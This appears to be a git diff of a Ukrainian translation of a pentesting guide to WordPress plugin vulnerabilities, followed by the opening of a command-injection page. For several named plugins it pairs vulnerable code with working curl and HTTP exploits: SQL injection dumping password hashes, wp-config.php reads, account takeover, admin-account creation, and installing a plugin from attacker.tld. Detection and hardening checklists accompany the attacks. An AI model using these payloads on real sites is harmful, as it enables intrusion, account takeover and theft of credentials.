||||
Експлуатація (приклад)
|
||||
```bash
|
||||
@ -493,23 +493,23 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
На вразливих збірках це видаляє поточні ролі та додає збережені оригінальні ролі (наприклад, `administrator`), фактично підвищуючи привілеї.
|
||||
На вразливих збірках це видаляє поточні ролі і повторно додає збережені оригінальні ролі (наприклад, `administrator`), фактично підвищуючи привілеї.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Шукайте функції переключення ролей, які зберігають “оригінальні ролі” в user meta (наприклад, `_asenha_view_admin_as_original_roles`).
|
||||
- Визначте шляхи скидання/відновлення, які:
|
||||
- Читують імена користувачів з `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Шукайте функції перемикання ролей, які зберігають “original roles” в user meta (наприклад, `_asenha_view_admin_as_original_roles`).
|
||||
- Визначайте шляхи скидання/відновлення, які:
|
||||
- Читають імена користувачів з `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Модифікують ролі через `add_role()` / `remove_role()` без `current_user_can()` та `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Авторизують на основі масиву опцій плагіна (наприклад, `viewing_admin_as_role_are`) замість capabilities актора.
|
||||
- Авторизують на основі масиву опцій плагіна (наприклад, `viewing_admin_as_role_are`) замість перевірки capabilities актора.
|
||||
|
||||
---
|
||||
|
||||
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
|
||||
|
||||
Деякі плагіни підключають допоміжні функції переключення користувачів до публічного хука `init` і визначають ідентичність з cookie, контрольованого клієнтом. Якщо код викликає `wp_set_auth_cookie()` без перевірки автентифікації, capability та дійсного nonce, будь-який неавторизований відвідувач може примусово увійти як довільний user ID.
|
||||
Деякі плагіни підключають допоміжні функції перемикання користувача до публічного `init` хука і визначають ідентичність із cookie, контрольованого клієнтом. Якщо код викликає `wp_set_auth_cookie()` без перевірки автентифікації, capability та дійсного nonce, будь-який неверифікований відвідувач може примусово залогінитися як довільний ID користувача.
|
||||
|
||||
Типовий вразливий шаблон (спрощено з Service Finder Bookings ≤ 6.1):
|
||||
Типовий вразливий патерн (спрощено з Service Finder Bookings ≤ 6.1):
|
||||
```php
|
||||
function service_finder_submit_user_form(){
|
||||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||
@ -540,11 +540,11 @@ wp_die('No original user found to switch back to.');
|
||||
```
|
||||
Чому це можна експлуатувати
|
||||
|
||||
- Публічний хук `init` робить обробник доступним для неавторизованих користувачів (немає захисту `is_user_logged_in()`).
|
||||
- Ідентичність отримується з cookie, що модифікується на боці клієнта (`original_user_id`).
|
||||
- Прямий виклик `wp_set_auth_cookie($uid)` залогінює запитувача як того користувача без будь-яких перевірок capability/nonce.
|
||||
- Публічний хук `init` робить обробник доступним для unauthenticated користувачів (немає захисту `is_user_logged_in()`).
|
||||
- Ідентичність визначається cookie, яку можна змінити на боці клієнта (`original_user_id`).
|
||||
- Прямий виклик `wp_set_auth_cookie($uid)` авторизує запитувача як цього користувача без жодних перевірок capability/nonce.
|
||||
|
||||
Експлуатація (неавторизована)
|
||||
Експлуатація (unauthenticated)
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
@ -554,34 +554,34 @@ Connection: close
|
||||
```
|
||||
---
|
||||
|
||||
### Особливості WAF для CVE WordPress/плагінів
|
||||
### Зауваги щодо WAF для WordPress/plugin CVEs
|
||||
|
||||
Загальні edge/server WAF налаштовані на широкі сигнатури (SQLi, XSS, LFI). Багато вразливостей WordPress/плагінів з високим ступенем впливу — це баги логіки/auth на рівні застосунку, які виглядають як доброзичливий трафік, якщо рушій не розуміє маршрути WordPress та семантику плагінів.
|
||||
Загальні edge/server WAFs налаштовані на широкі шаблони (SQLi, XSS, LFI). Багато високовпливових WordPress/plugin вразливостей — це помилки логіки/auth специфічні для додатка, які виглядають як нешкідливий трафік, якщо движок не розуміє маршрути WordPress і семантику плагіна.
|
||||
|
||||
Поради для атакуючого
|
||||
Offensive notes
|
||||
|
||||
- Цільтеся в ендпоінти, специфічні для плагіна, використовуючи чисті payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Спочатку перевіряйте неавтентифіковані шляхи (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads часто спрацьовують без обфускації.
|
||||
- Типові високовпливові випадки: privilege escalation (порушення контролю доступу), arbitrary file upload/download, LFI, open redirect.
|
||||
- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
|
||||
- Типові високовпливові випадки: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Поради щодо захисту
|
||||
Defensive notes
|
||||
|
||||
- Не покладайтеся на загальні сигнатури WAF для захисту CVE плагінів. Реалізуйте віртуальні патчі на рівні застосунку, специфічні для вразливості, або оновлюйтеся швидко.
|
||||
- Віддавайте перевагу позитивним перевіркам безпеки в коді (capabilities, nonces, strict input validation) замість негативних regex-фільтрів.
|
||||
- Не покладайтеся на generic WAF signatures для захисту plugin CVEs. Впроваджуйте application-layer, vulnerability-specific virtual patches або швидко оновлюйте.
|
||||
- Надавайте перевагу positive-security перевіркам у коді (capabilities, nonces, strict input validation) над negative regex фільтрами.
|
||||
|
||||
## Захист WordPress
|
||||
|
||||
### Регулярні оновлення
|
||||
### Regular Updates
|
||||
|
||||
Переконайтеся, що WordPress, плагіни та теми оновлені. Також перевірте, що автоматичне оновлення увімкнено в wp-config.php:
|
||||
Переконайтеся, що WordPress, plugins і themes оновлені. Також підтвердіть, що автоматичне оновлення увімкнено в wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Крім того, **встановлюйте лише надійні плагіни та теми WordPress**.
|
||||
Також **встановлюйте лише надійні плагіни та теми WordPress**.
|
||||
|
||||
### Плагіни безпеки
|
||||
### Security Plugins
|
||||
|
||||
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
||||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||||
@ -589,16 +589,15 @@ add_filter( 'auto_update_theme', '__return_true' );
|
||||
|
||||
### **Інші рекомендації**
|
||||
|
||||
- Видаліть користувача за замовчуванням **admin**
|
||||
- Видаліть стандартного користувача **admin**
|
||||
- Використовуйте **надійні паролі** та **2FA**
|
||||
- Періодично **перевіряйте** **дозволи** користувачів
|
||||
- **Обмежте кількість спроб входу** для запобігання Brute Force атак
|
||||
- Перейменуйте файл **`wp-admin.php`** та дозволяйте доступ лише зсередини мережі або з певних IP-адрес.
|
||||
- Періодично **переглядайте** **права** користувачів
|
||||
- **Обмежте кількість спроб входу**, щоб запобігти Brute Force-атакам
|
||||
- Перейменуйте файл **`wp-admin.php`** та дозволяйте доступ лише з внутрішньої мережі або з певних IP-адрес.
|
||||
|
||||
### Неавторизований SQL Injection через недостатню валідацію (WP Job Portal <= 2.3.2)
|
||||
|
||||
### Неавторизований SQL Injection через недостатню перевірку (WP Job Portal <= 2.3.2)
|
||||
|
||||
Плагін WP Job Portal для підбору персоналу відкрив задачу **savecategory**, яка зрештою виконує наступний вразливий код у `modules/category/model.php::validateFormData()`:
|
||||
Плагін WP Job Portal рекрутингу надав доступ до завдання **savecategory**, яке в кінцевому підсумку виконує наступний вразливий код всередині `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -608,11 +607,11 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
Проблеми, які вносять цей фрагмент:
|
||||
Проблеми, викликані цим фрагментом:
|
||||
|
||||
1. **Несанітизований ввід користувача** – `parentid` надходить безпосередньо з HTTP-запиту.
|
||||
2. **Конкатенація рядків у WHERE-умові** – відсутні `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Unauthenticated reachability** – хоча дія виконується через `admin-post.php`, єдина перевірка — **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати зі сторінки, що вбудовує шорткод `[wpjobportal_my_resumes]`.
|
||||
1. **Unsanitised user input** – `parentid` надходить безпосередньо з HTTP-запиту.
|
||||
2. **String concatenation inside the WHERE clause** – відсутні `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Unauthenticated reachability** – хоча дія виконується через `admin-post.php`, єдина перевірка — **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати зі сторінки, що містить шорткод `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Експлуатація
|
||||
|
||||
@ -620,7 +619,7 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Інжектувати довільний SQL, зловживаючи `parentid`:
|
||||
2. Впровадити довільний SQL, використовуючи `parentid`:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -628,20 +627,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
Відповідь розкриває результат інжектованого запиту або змінює базу даних, що підтверджує наявність SQLi.
|
||||
Відповідь розкриває результат інжектованого запиту або змінює базу даних, що підтверджує SQLi.
|
||||
|
||||
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Ще одна задача, **downloadcustomfile**, дозволяла відвідувачам завантажувати **будь-який файл на диску** через path traversal. Уразливий sink знаходиться в `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Інше завдання, **downloadcustomfile**, дозволяло відвідувачам завантажувати **any file on disk** через path traversal. Уразливий sink знаходиться в `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` контролюється атакуючим і конкатенується **без санітизації**. Знову ж, єдиним бар'єром є **CSRF nonce**, який можна отримати зі сторінки резюме.
|
||||
`$file_name` контролюється атакуючим і конкатенується **without sanitisation**. Знову ж, єдиний бар'єр — **CSRF nonce**, який можна отримати зі сторінки резюме.
|
||||
|
||||
#### Експлуатація
|
||||
#### Exploitation
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
@ -654,9 +653,9 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
|
||||
## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||||
|
||||
Багато тем/плагінів містять "social login" helpers, доступні через admin-ajax.php. Якщо unauthenticated AJAX action (wp_ajax_nopriv_...) довіряє client-supplied identifiers, коли provider data відсутні, і потім викликає wp_set_auth_cookie(), це перетворюється на full authentication bypass.
|
||||
Багато тем/плагінів включають допоміжні скрипти "social login", доступні через admin-ajax.php. Якщо неаутентифікована AJAX дія (wp_ajax_nopriv_...) довіряє ідентифікаторам, наданим клієнтом, коли дані провайдера відсутні, і потім викликає wp_set_auth_cookie(), це стає повним обходом автентифікації.
|
||||
|
||||
Типовий проблемний шаблон (спрощено)
|
||||
Типовий вразливий патерн (спрощено)
|
||||
```php
|
||||
public function check_login() {
|
||||
// ... request parsing ...
|
||||
@ -685,17 +684,17 @@ wp_send_json(['status' => 'not_user']);
|
||||
}
|
||||
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
|
||||
```
|
||||
Why it’s exploitable
|
||||
Чому це експлуатується
|
||||
|
||||
- Доступна без автентифікації через admin-ajax.php (дія wp_ajax_nopriv_…).
|
||||
- Відсутні перевірки nonce/capability перед зміною стану.
|
||||
- Відсутня верифікація провайдера OAuth/OpenID; гілка за замовчуванням приймає введення від нападника.
|
||||
- get_user_by('email', $_POST['id']) у поєднанні з wp_set_auth_cookie($uid) автентифікують запитувача як будь-яку існуючу електронну адресу.
|
||||
- Можливість доступу без автентифікації через admin-ajax.php (wp_ajax_nopriv_… action).
|
||||
- Відсутні nonce/capability checks перед зміною стану.
|
||||
- Відсутня перевірка провайдера OAuth/OpenID; гілка за замовчуванням приймає введення від нападника.
|
||||
- get_user_by('email', $_POST['id']) з наступним викликом wp_set_auth_cookie($uid) аутентифікує запитувача як будь-яку існуючу email-адресу.
|
||||
|
||||
Exploitation (unauthenticated)
|
||||
Експлуатація (unauthenticated)
|
||||
|
||||
- Передумови: нападник має доступ до /wp-admin/admin-ajax.php і знає/вгадує дійсну електронну адресу користувача.
|
||||
- Встановіть provider у непідтримуване значення (або опустіть його), щоб потрапити в гілку за замовчуванням і передати id=<victim_email>.
|
||||
- Передумови: attacker може дістатися до /wp-admin/admin-ajax.php і знає/вгадує дійсну електронну адресу користувача.
|
||||
- Set provider to an unsupported value (or omit it) to hit the default branch and pass id=<victim_email>.
|
||||
```http
|
||||
POST /wp-admin/admin-ajax.php HTTP/1.1
|
||||
Host: victim.tld
|
||||
@ -708,41 +707,41 @@ action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
|
||||
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
|
||||
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
|
||||
```
|
||||
Очікувані індикатори успіху
|
||||
Очікувані ознаки успіху
|
||||
|
||||
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
|
||||
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
|
||||
- HTTP 200 з JSON тілом як-от {"status":"success","message":"Login successfully."}.
|
||||
- Set-Cookie: wordpress_logged_in_* для постраждалого користувача; подальші запити є автентифікованими.
|
||||
|
||||
Знаходження назви action
|
||||
Знаходження імені action
|
||||
|
||||
- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
|
||||
- Шукайте wp_set_auth_cookie(), get_user_by('email', ...) всередині AJAX-обробників.
|
||||
- Перевірте тему/плагін на наявність реєстрацій add_action('wp_ajax_nopriv_...', '...') в коді social login (наприклад, framework/add-ons/social-login/class-social-login.php).
|
||||
- Grep на наявність wp_set_auth_cookie(), get_user_by('email', ...) всередині AJAX-обробників.
|
||||
|
||||
Чекліст виявлення
|
||||
Контрольний список виявлення
|
||||
|
||||
- Веб-логи, що показують неаутентифіковані POST-запити до /wp-admin/admin-ajax.php з action social-login і id=<email>.
|
||||
- 200-відповіді з success JSON безпосередньо перед аутентифікованим трафіком з тієї ж IP/User-Agent.
|
||||
- Веб-логи, що показують неавтентифіковані POST-запити до /wp-admin/admin-ajax.php з дією social-login та id=<email>.
|
||||
- Відповіді 200 із success JSON безпосередньо перед автентифікованим трафіком з тієї ж IP/User-Agent.
|
||||
|
||||
Зміцнення
|
||||
Зміцнення безпеки
|
||||
|
||||
- Не виводьте ідентичність із введення клієнта. Приймайте лише emails/IDs, що походять від перевіреного provider token/ID.
|
||||
- Вимагайте CSRF nonces та перевірки capability навіть для login helpers; уникайте реєстрації wp_ajax_nopriv_ якщо це не суворо необхідно.
|
||||
- Валідуйте та перевіряйте OAuth/OIDC відповіді на сервері; відхиляйте відсутніх/недійсних провайдерів (без fallback на POST id).
|
||||
- Розгляньте тимчасове відключення social login або віртуальне патчення на краю (блокувати вразливий action) доки не виправлено.
|
||||
- Не виводьте ідентичність з вхідних даних клієнта. Приймайте лише email/ID, які походять від валідованого токена/ID провайдера.
|
||||
- Вимагайте CSRF nonces та перевірок capability навіть для допоміжних логін-функцій; уникайте реєстрації wp_ajax_nopriv_ якщо це не суворо необхідно.
|
||||
- Валідуйте та перевіряйте OAuth/OIDC відповіді на сервері; відхиляйте відсутніх/недійсних провайдерів (без fallback до POST id).
|
||||
- Розгляньте тимчасове відключення social login або віртуальне патчення на межі (блокування вразливої дії) до виправлення.
|
||||
|
||||
Поведінка після виправлення (Jobmonster 4.8.0)
|
||||
Виправлена поведінка (Jobmonster 4.8.0)
|
||||
|
||||
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
|
||||
- Видалено небезпечний fallback із $_POST['id']; $user_email має походити з перевірених гілок провайдера в switch($_POST['using']).
|
||||
|
||||
## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
|
||||
|
||||
Деякі плагіни виставляють REST endpoints, які генерують багаторазові “connection keys” або токени без перевірки capability викликача. Якщо маршрут автентифікує лише за вгадуваним атрибутом (наприклад, username) і не прив'язує ключ до користувача/сесії з перевірками capability, будь-який неаутентифікований атакувальник може згенерувати ключ і викликати привілейовані дії (створення admin-акаунту, дії плагіна → RCE).
|
||||
Деякі плагіни відкривають REST-ендпоінти, які емісіюють повторно використовувані “connection keys” або tokens без перевірки capability викликача. Якщо маршрут автентифікується лише за вгадуваною атрибутом (наприклад, username) і не прив'язує ключ до користувача/сесії з перевірками capability, будь-який неавтентифікований атакуючий може створити ключ і викликати привілейовані дії (створення облікового запису admin, дії плагінів → RCE).
|
||||
|
||||
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
|
||||
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
|
||||
- Impact: full takeover by chaining the minted key to internal privileged actions
|
||||
- Вразливий маршрут (приклад): sure-triggers/v1/connection/create-wp-connection
|
||||
- Помилка: приймає username, видає connection key без current_user_can() або суворого permission_callback
|
||||
- Наслідок: повне захоплення шляхом прив'язки емісованого ключа до внутрішніх привілейованих дій
|
||||
|
||||
PoC – згенеруйте connection key і використайте його
|
||||
PoC – згенеруйте (mint) connection key і використайте його
|
||||
```bash
|
||||
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
|
||||
@ -756,54 +755,54 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
|
||||
-H 'X-Connection-Key: <conn_key>' \
|
||||
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
|
||||
```
|
||||
Чому це експлойтабельно
|
||||
- Чутливий REST route захищений тільки низькоентропійним підтвердженням особи (username) або відсутнім permission_callback
|
||||
- Відсутня перевірка capability; створений ключ приймається як універсальний обхід
|
||||
Why it’s exploitable
|
||||
- Чутливий REST route захищений лише низькоентропійним доказом ідентичності (username) або відсутнім permission_callback
|
||||
- Відсутня перевірка capability; згенерований ключ сприймається як універсальний обхід
|
||||
|
||||
Detection checklist
|
||||
- Шукати в коді плагіна register_rest_route(..., [ 'permission_callback' => '__return_true' ])
|
||||
- Будь-який route, який видає tokens/keys на основі identity з запиту (username/email) без прив’язки до автентифікованого користувача або capability
|
||||
- Шукати наступні маршрути, що приймають створений token/key без перевірок capability на сервері
|
||||
- Grep код плагіна на register_rest_route(..., [ 'permission_callback' => '__return_true' ])
|
||||
- Будь-який маршрут, що видає tokens/keys на основі identity, наданої в запиті (username/email), без прив'язки до автентифікованого користувача або capability
|
||||
- Шукайте наступні маршрути, які приймають згенерований token/key без серверних перевірок capability
|
||||
|
||||
Hardening
|
||||
- Для будь-якого привілейованого REST route: вимагати permission_callback, який виконує current_user_can() для потрібної capability
|
||||
- Не створюйте long-lived keys на основі identity, наданої клієнтом; за потреби видавайте short-lived, user-bound tokens після аутентифікації та перевіряйте capability при використанні
|
||||
- Перевіряйте контекст користувача виклику (wp_set_current_user сам по собі недостатній) і відкидайте запити, де !is_user_logged_in() || !current_user_can(<cap>)
|
||||
- Для будь-якого привілейованого REST route: вимагайте permission_callback, який застосовує current_user_can() для потрібної capability
|
||||
- Не створюйте довготривалі keys на основі identity, переданої клієнтом; якщо потрібно, видавайте короткоживучі, прив'язані до користувача tokens після автентифікації та повторно перевіряйте capability при використанні
|
||||
- Перевіряйте контекст користувача, який викликає (wp_set_current_user недостатньо сам по собі) і відхиляйте запити, де !is_user_logged_in() || !current_user_can(<cap>)
|
||||
|
||||
---
|
||||
|
||||
## Nonce gate misuse → неаутентифікована довільна інсталяція плагіна (FunnelKit Automations ≤ 3.5.3)
|
||||
## Зловживання Nonce gate → неавторизована довільна інсталяція плагіна (FunnelKit Automations ≤ 3.5.3)
|
||||
|
||||
Nonces захищають від CSRF, а не від авторизації. Якщо код сприймає проходження nonce як дозвіл і пропускає перевірки capability для привілейованих операцій (наприклад, install/activate plugins), неаутентифіковані атакувальники можуть виконати слабку перевірку nonce і досягти RCE, встановивши плагін із бекдором або вразливий плагін.
|
||||
Nonces запобігають CSRF, а не авторизації. Якщо код трактує успішну перевірку nonce як зелений сигнал і пропускає перевірки прав для привілейованих операцій (наприклад, install/activate plugins), неавторизовані атакуючі можуть задовольнити слабку вимогу nonce і досягти RCE, встановивши плагін з бекдором або уразливий плагін.
|
||||
|
||||
- Уразливий шлях: plugin/install_and_activate
|
||||
- Вразливість: слабка перевірка nonce hash; відсутня current_user_can('install_plugins'|'activate_plugins') після того, як nonce «проходить»
|
||||
- Наслідок: повне скомпрометування через довільну інсталяцію/активацію плагіна
|
||||
- Vulnerable path: plugin/install_and_activate
|
||||
- Недолік: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
|
||||
- Наслідок: повне скомпрометування через довільне встановлення/активацію плагіна
|
||||
|
||||
PoC (форма залежить від плагіна; наведено ілюстративно)
|
||||
PoC (форма залежить від плагіна; лише ілюстрація)
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
|
||||
```
|
||||
Detection checklist
|
||||
Чекліст виявлення
|
||||
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
|
||||
- Any code path that sets $skip_caps = true after nonce validation
|
||||
|
||||
Hardening
|
||||
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
|
||||
- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
|
||||
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
|
||||
Зміцнення
|
||||
- Завжди трактуйте nonces як CSRF tokens тільки; вимагайте capability checks незалежно від стану nonce
|
||||
- Вимагайте current_user_can('install_plugins') і current_user_can('activate_plugins') перед виконанням коду інсталятора
|
||||
- Відхиляйте неавторизований доступ; уникайте експонування nopriv AJAX actions для привілейованих потоків
|
||||
|
||||
---
|
||||
|
||||
## Неаутентифікований SQLi через параметр s (search) в depicter-* actions (Depicter Slider ≤ 3.6.1)
|
||||
## Неавторизований SQLi через параметр s (search) в діях depicter-* (Depicter Slider ≤ 3.6.1)
|
||||
|
||||
Кілька depicter-* actions використовували параметр s (search) і конкатенували його в SQL-запити без параметризації.
|
||||
|
||||
- Параметр: s (search)
|
||||
- Вразливість: пряме конкатенування рядків у WHERE/LIKE клаузаx; відсутні prepared statements/санітизація
|
||||
- Наслідок: екзфільтрація бази даних (users, hashes), lateral movement
|
||||
- Вразливість: пряма конкатенація рядка в WHERE/LIKE clauses; no prepared statements/sanitization
|
||||
- Вплив: database exfiltration (users, hashes), lateral movement
|
||||
|
||||
PoC
|
||||
```bash
|
||||
@ -812,38 +811,38 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
|
||||
--data-urlencode 'action=depicter_search' \
|
||||
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
|
||||
```
|
||||
Контрольний список виявлення
|
||||
- Grep для depicter-* action handlers та прямого використання $_GET['s'] або $_POST['s'] в SQL
|
||||
- Перегляньте кастомні запити, передані в $wpdb->get_results()/query(), які конкатенують s
|
||||
Detection checklist
|
||||
- Шукати (grep) обробники дій depicter-* та пряме використання $_GET['s'] або $_POST['s'] в SQL
|
||||
- Переглянути кастомні запити, передані в $wpdb->get_results()/query(), які конкатенують s
|
||||
|
||||
Підсилення захисту
|
||||
- Завжди використовуйте $wpdb->prepare() або wpdb placeholders; відхиляйте небажані метасимволи на стороні сервера
|
||||
- Додайте строгий allowlist для s і нормалізуйте до очікуваного charset/length
|
||||
Hardening
|
||||
- Завжди використовувати $wpdb->prepare() або wpdb-плейсхолдери; відкидати несподівані метасимволи на сервері
|
||||
- Додати суворий allowlist для s і нормалізувати до очікуваної charset/length
|
||||
|
||||
---
|
||||
|
||||
## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
|
||||
|
||||
Прийом шляхів, контрольованих атакувальником, у параметрі шаблону без нормалізації/обмеження дозволяє читати довільні локальні файли, а іноді — code execution, якщо до runtime підтягуються includable PHP/log файли.
|
||||
Прийняття шляхів, контрольованих атакуючим, у параметрі шаблону без нормалізації/обмеження дозволяє читати довільні локальні файли, а іноді — виконувати код, якщо включені PHP/лог-файли потрапляють у середовище виконання.
|
||||
|
||||
- Parameter: __kubio-site-edit-iframe-classic-template
|
||||
- Flaw: немає нормалізації/allowlisting; traversal дозволений
|
||||
- Impact: розкриття секретів (wp-config.php), potential RCE у специфічних середовищах (log poisoning, includable PHP)
|
||||
- Flaw: no normalization/allowlisting; traversal permitted
|
||||
- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)
|
||||
|
||||
PoC – прочитати wp-config.php
|
||||
PoC – read wp-config.php
|
||||
```bash
|
||||
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
|
||||
```
|
||||
Detection checklist
|
||||
- Будь-який handler, що конкатенує шляхи запитів у include()/require()/read sinks без обмеження через realpath()
|
||||
- Шукайте traversal-патерни (../), що виходять за межі призначеного каталогу templates
|
||||
Чекліст виявлення
|
||||
- Будь-який handler, який конкатенує шляхи запитів у include()/require()/read sinks без обмеження через realpath()
|
||||
- Шукати патерни traversal (../), які виходять за межі призначеної директорії templates
|
||||
|
||||
Hardening
|
||||
- Застосувати allowlisted templates; визначайте шлях через realpath() і вимагайте str_starts_with(realpath(file), realpath(allowed_base))
|
||||
- Нормалізувати вхідні дані; відхиляти traversal-послідовності та абсолютні шляхи; використовувати sanitize_file_name() тільки для імен файлів (не для повних шляхів)
|
||||
Зміцнення
|
||||
- Застосовувати allowlisted templates; вирішувати за допомогою realpath() і вимагати str_starts_with(realpath(file), realpath(allowed_base))
|
||||
- Нормалізувати вхідні дані; відхиляти traversal-послідовності та абсолютні шляхи; використовувати sanitize_file_name() лише для імен файлів (не для повних шляхів)
|
||||
|
||||
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Що таке command Injection?
|
||||
|
||||
A **command injection** дозволяє атакуючому виконувати довільні команди операційної системи на сервері, що розміщує застосунок. Внаслідок цього застосунок та всі його дані можуть бути повністю скомпрометовані. Виконання таких команд зазвичай дозволяє атакуючому отримати несанкціонований доступ або контроль над середовищем застосунку та підлягаючою системою.
|
||||
A **command injection** дозволяє атакуючому виконувати довільні команди операційної системи на сервері, що розміщує застосунок. Внаслідок цього застосунок і всі його дані можуть бути повністю скомпрометовані. Виконання таких команд зазвичай дозволяє атакуючому отримати несанкціонований доступ або контроль над середовищем застосунку та базовою операційною системою.
|
||||
|
||||
### Контекст
|
||||
|
||||
Залежно від **того, куди вставляється ваше введення**, можливо, доведеться **закрити контекст у лапках** (використовуючи `"` або `'`) перед командами.
|
||||
Залежно від **де вставляється ваше введення** вам може знадобитися **завершити контекст у лапках** (використовуючи `"` або `'`) перед командами.
|
||||
|
||||
## Command Injection/Execution
|
||||
```bash
|
||||
@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
```
|
||||
### **Обмеження** Bypasses
|
||||
|
||||
Якщо ви намагаєтеся виконати **arbitrary commands inside a linux machine**, вам буде цікаво прочитати про ці **Bypasses:**
|
||||
Якщо ви намагаєтесь виконати **довільні команди всередині linux-машини**, вам буде цікаво прочитати про ці **Bypasses:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||
```
|
||||
### Параметри
|
||||
|
||||
Нижче — топ-25 параметрів, які можуть бути вразливими до code injection та подібних RCE vulnerabilities (з [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
